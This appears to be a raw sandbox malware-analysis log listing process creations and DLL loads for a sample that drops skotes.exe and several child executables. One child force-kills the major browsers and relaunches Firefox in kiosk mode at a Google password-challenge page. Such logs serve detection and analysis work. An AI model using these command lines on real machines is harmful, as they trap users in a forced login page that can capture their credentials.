Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1010363001\d764c66987.exe "C:\Users\user\AppData\Local\Temp\1010363001\d764c66987.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3296 -parentBuildID 20230927232528 -prefsHandle 1580 -prefMapHandle 1576 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {338e53b0-0dd8-49bc-a6da-9edcd3c6935e} 1896 "\\.\pipe\gecko-crash-server-pipe.1896" 253a456eb10 rdd
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe "C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe "C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe "C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2324 -parentBuildID 20230927232528 -prefsHandle 2260 -prefMapHandle 2248 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {2fdc1535-834e-456f-8820-947ad461aee9} 1896 "\\.\pipe\gecko-crash-server-pipe.1896" 2539256dd10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3296 -parentBuildID 20230927232528 -prefsHandle 1580 -prefMapHandle 1576 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {338e53b0-0dd8-49bc-a6da-9edcd3c6935e} 1896 "\\.\pipe\gecko-crash-server-pipe.1896" 253a456eb10 rdd

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
